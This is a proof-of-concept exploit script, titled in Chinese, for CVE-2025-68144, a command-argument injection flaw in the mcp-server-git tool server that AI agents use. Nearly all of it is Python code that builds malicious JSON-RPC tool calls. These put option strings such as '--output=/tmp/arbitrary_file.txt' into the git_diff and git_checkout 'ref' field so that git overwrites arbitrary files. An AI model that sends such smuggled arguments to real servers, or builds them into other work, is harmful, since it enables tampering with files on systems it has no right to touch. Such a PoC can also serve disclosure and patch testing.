CVE-2025-68144 mcp-server-git 命令注入漏洞

# CVE-2025-68144 PoC - mcp-server-git Command Injection # This PoC demonstrates how flag-like arguments can be injected # into git_diff function to overwrite arbitrary files import json def generate_malicious_request(): """ Generate a malicious request to exploit CVE-2025-68144 The attacker crafts a flag-like argument that git interprets as a command-line option instead of a git ref """ # Normal request - would list a commit normal_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "HEAD" } } } # Malicious request - exploits the vulnerability # --output will be interpreted as git diff option, not a ref malicious_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "--output=/tmp/arbitrary_file.txt" } } } # Alternative attack using git_checkout with -- option injection checkout_malicious = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_checkout", "arguments": { "ref": "--force=/path/to/file" } } } return { "normal": normal_request, "malicious_git_diff": malicious_request, "malicious_git_checkout": checkout_malicious } if __name__ == "__main__": poc = generate_malicious_request() print("=== CVE-2025-68144 PoC ===") print("\nMalicious git_diff request:") print(json.dumps(poc['malicious_git_diff'], indent=2)) print("\nExpected behavior: File /tmp/arbitrary_file.txt will be created/overwritten")